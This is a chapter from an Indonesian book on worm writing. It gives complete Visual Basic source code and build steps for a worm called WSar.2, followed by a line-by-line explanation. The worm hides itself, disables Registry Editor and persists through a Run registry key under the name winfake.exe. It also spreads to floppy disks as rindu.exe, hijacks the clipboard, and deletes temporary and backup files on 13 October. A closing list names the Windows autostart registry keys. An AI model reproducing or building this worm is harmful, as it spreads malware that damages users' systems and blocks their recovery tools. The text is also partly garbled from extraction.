• Tidak ada hasil yang ditemukan

W

orm ini bernama WSar.2 (worm dasar 2), suatu worm yang lebih cerdas dibandingkan WSar.1, karena sudah memanfaat-kan WSH (Windows Scripting Host) untuk memanipulasi registry atau untuk mengetahui direktori spesial pada sistem operasi Windows, dan mencegah user untuk menjalankan aplikasi Registry Editor. Dengan demikian , worm ini tidak hanya mampu menulari sistem operasi Windows 9X dan ME tetapi juga akan menulari sistem operasi Windows NT, 2000 atau XP.

8.1 ALGORITMA

WSar.2 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup

Bab 8. Worm WSar.2

3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan nama file "rindu.exe"

4. Dampak lain yang ditimbulkan adalah menyisipkan kata "Ohhhh... rinduuuu... dimanakah dirimu.... " setiap kali user menggunakan fungsi Paste pada aplikasi apa saja

5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda", menghapus semua file yang berekstensi tmp pada direktori Windows dan semua file yang berekstensi bak pada direktori System Windows serta seluruh file pada direk-tori temporary Windows, kemudian menghentikan segala aktifitas worm pada hari tersebut.

8.2 PEMROGRAMAN

Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title menjadi 'WSar.2’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK.

Kemudian tambahkan 2 buah object Timer, dan atur properti berikut untuk masing-masing Timer dan form.

Properti object Form1

Jenis Nilai Keterangan

Name frmWSar2 Mengatur nama form menjadi frmWSar2

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.2 menggunakan icon msword.ico ShowInTaskbar False Tidak menampilkan form pada taskbar Visible False Tidak menampilkan form pada layar.

Bab 8. Worm WSar.2

Properti object Timer1

Jenis Nilai Keterangan

Name tmrWSar2 Mengatur nama Timer menjadi tmrWSar2 Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan

dieksekusi setiap 1 menit

Properti object Timer2

Jenis Nilai Keterangan

Name tmrIseng Mengatur nama Timer menjadi tmrIseng Enable True Pastikan Timer akan aktif saat form di-load Interval 1000 Setiap instruksi pada procedure Timer akan

dieksekusi setiap 1 detik

Ketik kode program berikut ini pada frmWSar2:

'WSar.2 by Achmad Darmal

'Tarakan, Kalimantan Timur - Indonesia Option Explicit On

Private Sub Form_Load() On Error Resume Next

If App.PrevInstance = True Then End Call RegDisable()

Call InfectSystem()

If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)

End If End Sub

Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear()

Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dirimu.... ") End Sub

Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy()

If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()

Unload(Me) End If

Bab 8. Worm WSar.2

Function RegString(ByVal HiveAndKey As String, ByVal Value As String) Dim newbie As Object

newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function

Function RegDword(ByVal HiveAndKey As String, ByVal Value As Integer) Dim newbie As Object

newbie = CreateObject("Wscript.Shell")

newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function

Private Sub RegDisable() On Error Resume Next

RegDword("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _ "System\DisableRegistryTools", 1)

End Sub

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object

kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1)

FileCopy(WormFile, sysfolder & "\" & "winfake.exe")

RegString("HKLM\Software\Microsoft\Windows\CurrentVersio" & _ "n\Run\windll", sysfolder & "\" & "winfake.exe")

End Sub

Private Sub InfectFloppy() On Error Resume Next

If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If

End Sub

Private Sub PayLoad() On Error Resume Next Dim kiddie As Object

Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)

sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*")

MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub

Bab 8. Worm WSar.2 Private Function WormFile()

Dim WPath, WName As String WPath = App.Path

If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If

WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Berikut penjelasan tentang kode program: 'WSar.2 by Achmad Darmal

'Tarakan, Kalimantan Timur - Indonesia Option Explicit

Private Sub Form_Load() On Error Resume Next

If App.PrevInstance = True Then End Call RegDisable()

Call InfectSystem()

If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)

End If End Sub

Call RegDisable berarti memanggil atau mengeksekusi procedure yang bernama RegDisable dan statement Call InfectSystem akan mengeksekusi procedure InfectSystem. Jika file utama berada pada drive A atau B maka segera akhiri proses file utama.

Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear()

Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dir" & _ "imu.... ")

End Sub

Statement Clipboard.Clear berfungsi untuk membersihkan data dari penyimpanan clipboard (clipboard berfungsi sebagai penyimpan sementara apabila user melakukan proses copy atau cut), kemudian statement berikutnya akan mengisi clipboard dengan data berupa teks " Ohhhh… rinduuuu… dimanakah dirimu…. " yang akan disisipkan jika user melakukan proses paste.

Bab 8. Worm WSar.2

Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy()

If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()

Unload(Me) End If End Sub

Procedure tmrWSar2_Timer, pada saat yang ditentukan akan mengek-sekusi procedure InfectFloppy, kemudian apabila tanggal dan bulan sekarang adalah 13 Oktober maka akan mengeksekusi procedure Pay-Load kemudian mengakhiri proses worm.

Function RegString(ByVal HiveAndKey As String, ByVal Value As _ String)

Dim newbie As Object

newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function

Function RegDword(ByVal HiveAndKey As String, ByVal Value As _ Integer)

Dim newbie As Object

newbie = CreateObject("Wscript.Shell")

newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function

Dua function di atas adalah penggunaan Window Script Host yang akan mengakses registry untuk menambahkan key dan value. Function RegString digunakan untuk menambahkan key dan value dengan jenis value string biasa (REG_SZ) sedangkan function RegDword digu-nakan untuk menambahkan key dan value dengan jenis value dword (REG_DWORD)

Private Sub RegDisable() On Error Resume Next

RegDword("HKCU\Software\Microsoft\Windows\Curr" & _ "entVersion\Policies\System\DisableRegistryTools", 1) End Sub

Procedure RegDisable mengeksekusi function RegDword dengan menambahkan key: "HKEY_CURRENT_USER\Soft ware\Microsoft\ Windows\CurrentVersion\Policies\System\DisableRegistryTools" dan mengisi value dengan nilai 1. Konfigurasi registry ini akan

Bab 8. Worm WSar.2 Private Sub InfectSystem()

On Error Resume Next Dim kiddie As Object Dim sysfolder As Object

kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1)

FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\Curr" & _

"entVersion\Run\windll", sysfolder & "\" & "winfake.exe") End Sub

Procedure InfectSystem memanfaatkan file system object untuk mendapatkan special folder pada Windows. Dalam hal ini special folder 1 atau direktori System Windows, kemudian membuat salinan dirinya ke direktori System Windows tersebut dengan nama "winfake.exe". Selain itu procedure juga mengeksekusi function RegString dengan menambahkan key:

"HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ Run\windll" dengan value berupa gabungan alamat file pada direk-tori System Windows dan nama file dari salinan worm tersebut yaitu "winfake.exe". Key ini merupakan salah satu lokasi registry yang akan dieksekusi saat Windows startup.

Private Sub InfectFloppy() On Error Resume Next

If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If

End Sub

Procedure diatas akan membuat salinan worm pada drive A dengan nama "rindu.exe"

Private Sub PayLoad() On Error Resume Next Dim kiddie As Object

Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)

sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*")

MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub

Bab 8. Worm WSar.2

Procedure PayLoad memanfaatkan file system object untuk mendapat-kan special folder 0 atau direktori Windows, special folder 1 atau direktori System Windows dan special folder 2 atau direktori Tempo-rary, kemudian menghapus seluruh file yang berekstensi 'tmp’ pada direktori Windows, seluruh file berekstensi 'bak’ pada direktori System Windows, dan seluruh file yang ada pada direktori Temporary. Akhirnya worm akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda". Untuk procedure WormFile telah penulis jelaskan pada WSar.1 sehingga selanjutnya tidak perlu dijelaskan lagi. Terakhir simpan dan kompilasi project seperti pada langkah-langkah yang telah dijelaskan sebelumnya.

Catatan untuk WSar.2: berikut ini adalah lokasi key registry yang akan

mengeksekusi setiap value didalamnya pada saat Windows startup: User Key / HKCU

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run-Once] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunSer-vices] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunSer-vicesOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Win-dows] System Key / HKLM [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-Once] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-Services] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-ServicesOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT \CurrentVersion\ Winlogon\Userinit]

Bab 9. Worm WSar.3

BAB 9

Dalam dokumen Computer Worm 1 secret of underground coding (Halaman 132-140)